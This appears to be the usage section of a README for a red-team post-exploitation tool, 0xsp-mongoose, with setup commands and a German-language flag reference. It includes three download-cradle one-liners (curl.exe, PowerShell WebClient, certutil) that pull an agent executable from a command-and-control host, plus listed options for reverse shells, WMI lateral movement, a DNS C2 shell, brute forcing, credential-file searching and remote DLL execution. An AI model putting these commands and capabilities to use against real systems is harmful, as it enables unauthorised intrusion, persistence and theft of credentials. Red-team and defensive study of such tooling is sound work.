git clone --single-branch --branch 0xsp-red https://github.com/lawrenceamer/0xsp-mongoose 
cd 0xsp-mongoose/ 
npm install 
node index.js

touch temp.txt
python3 dns_server.py -d DOMAIN -a PUBLICIP -i INTERFACEIP

#example 1 
curl.exe -o agent.exe http://nodejsip:4000/release/x64.exe
#example 2 
powershell.exe -command (new-object net.webclient).downloadfile('http://nodejsip:4000/release/x64.exe','c:\tmp\agent.exe');
#example 3 
certutil.exe -urlcache -split -f "http://nodejsip:4000/release/x64.exe" agent.exe

-s --Windows-Dienste und installierte Treiber abrufen.
-u --Informationen über Benutzer, Gruppen und Rollen abrufen.
-c --Verbundene Treiber nach sensiblen Konfigurationsdateien anhand der Erweiterung durchsuchen.
-n --Netzwerkinformationen, Netzwerkschnittstellen, Verbindungsdetails abrufen.
-w --Beschreibbare Verzeichnisse auflisten, Zugriffsberechtigungen prüfen, geänderte Berechtigungen.
-i --Windows-Systeminformationen, Sitzungen, Prüfung auf immer erhöhte Rechte auflisten.
-l --In einer beliebigen Datei nach einer bestimmten Zeichenfolge suchen, z. B.: agent.exe -l c:\ password *.config.
-o --Host-Adresse der NodeJS-Anwendung angeben, Sie können auch srvhost verwenden.
-p --Installierte Software, ausgeführte Prozesse, Aufgaben auflisten.
-e --Kernel-Inspektionstool, das bei der Suche in Tool-Datenbanken nach Windows-Kernel-Schwachstellen hilft.
-x --Passwort zur Autorisierung Ihrer Verbindung mit der NodeJS-Anwendung.
-d --Dateien direkt auf den Zielcomputer herunterladen.
-t --Dateien vom Zielcomputer in die NodeJS-Anwendung hochladen.
-spooler --Einzelnen Host oder Liste von Hosts auf mögliche CVE-2021-1675 scannen (z. B. -spooler -srvhost oder -spooler -hosts).
-m --Alle bekannten Scan-Typen zusammen ausführen.

[!] RED-TEAMING-TAKTIKEN ABSCHNITT

-r --Reverse-Shell mit einem bestimmten Konto starten.
-lr --Technik für laterale Bewegung mittels WMI (z. B. -lr -host 192.168.14.1 -username administrator -password blabla -srvhost nodejsip).
-nds --Netzwerkerkennung und Freigabe-Aufzählung.
-dns --Interaktive DNS-C2C-Shell herstellen.
-cmd --Befehle über HTTP-Shell übertragen.
-interactive --Interaktiven Modus starten (z. B. Plugins laden usw.).
-username --Identitätsauthentifizierung für bestimmte Angriffsmodule.
-password --Identitätsauthentifizierung für bestimmte Angriffsmodule.
-host --Remote-Host identifizieren, gegen den ein Angriff durchgeführt werden soll.
-srvhost --Remote-Host der NodeJS-Anwendung festlegen.
-bf --Brute-Force-Modul für lokale Benutzer / Domänenbenutzer.
-import --DLL-Datei lokal importieren und ausführen.
-remote --DLL-Datei von einem Remote-Host importieren und ausführen.